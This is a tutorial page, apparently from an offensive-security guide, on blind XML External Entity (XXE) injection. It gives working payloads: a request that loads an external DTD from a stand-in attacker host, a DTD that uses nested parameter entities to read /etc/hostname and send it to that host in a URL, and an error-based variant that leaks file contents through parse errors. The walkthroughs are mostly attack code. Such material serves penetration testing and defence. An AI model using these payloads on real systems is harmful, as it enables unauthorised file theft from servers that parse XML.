XXE: The Complete Practical Guide to XML External Entity Injection
Blind XXE via External DTD (Out-of-Band)
How to exploit blind XXE: hosting an external DTD, nested parameter entities to exfiltrate a file out-of-band, and error-based exfil when outbound is blocked.
Published
Most real XXE is blind: the app parses your XML but reflects nothing back, so an in-band file read returns you nothing to read. Blind XXE solves this out-of-band. You host a small DTD on a server you control, and nest parameter entities so the parser reads a file and then calls back to you with its contents, or leaks them in an error message. It is the technique that turns "the parser resolves entities" into real data even when the response is silent.
Why in-band fails
Two things push you out-of-band:
- Nothing is reflected. The endpoint parses your XML but never echoes a field you control, so an expanded entity has nowhere to appear.
- The inline DTD is restricted. Even when you want to nest parameter entities to build the exfiltration, the XML spec forbids that nesting in the internal (inline) subset. The fix is to move those declarations into an external DTD.
Both roads lead to the same place: host your own DTD and let it do the work.
Hosting an external DTD
The request body stays tiny. It just declares a parameter entity that loads your DTD, then invokes it:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.oast/evil.dtd">
%xxe;
]>
<data>test</data>All the real logic lives in evil.dtd on your server. When the target parses this, it fetches your DTD and executes the declarations inside it.
Nested parameter entities to exfiltrate
Here is the exfiltration DTD, the heart of blind XXE. It reads a file, then builds a second entity whose URL carries the file's contents back to you:
<!-- evil.dtd, hosted on attacker.oast -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.oast/?x=%file;'>">
%eval;
%exfil;Walk it through:
% filereads the target file into a parameter entity.% evalholds the text of a new declaration. The%is a literal%, so expanding%eval;produces a real<!ENTITY % exfil ...>declaration at parse time, with the file's contents already substituted into the URL.%eval;runs the declaration, creating% exfil.%exfil;triggers the outbound request to your server, with%file;(the file contents) in the query string.
The target never shows you anything. Your listener receives the file.
Error-based exfil when you have no callback channel
When your exfil request cannot get back to you (DNS and HTTP callbacks are both dead) but the app still surfaces XML parse errors in its response, route the data through a deliberate parse error instead of a network call. Use a single-line file here, because the error leaks essentially one line of the resolved path:
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;Here % error points at a path under /nonexistent/ with the file contents appended. The parser tries to open that path, fails, and the error message it returns includes the full resolved path, which contains the file you were reading. The error text becomes your read channel. This variant still fetches evil.dtd outbound, so it is for when your exfil callback is dead rather than when all egress is blocked. A fully egress-blocked target needs a local on-disk DTD instead.
Reading the data from your logs
The payoff lands in one of two places:
- Your out-of-band listener's logs, where the exfil request arrives with the file contents in the URL (and even a DNS-only hit confirms the parser reached you, which is useful when HTTP is filtered but DNS leaks).
- The application's error response, in the error-based variant, where the file contents sit inside the failed-path message.
Give each test a unique callback path so you know which injection point fired.
Blind XXE is where the technique earns its keep, because most parsers in the wild are not reflecting anything. When the XML comes from an upload, see XXE via file upload. When you can flip a JSON endpoint, see XXE via content-type switch. Practice an out-of-band exfil on a free live target.
← Back to XXE: The Complete Practical Guide to XML External Entity Injection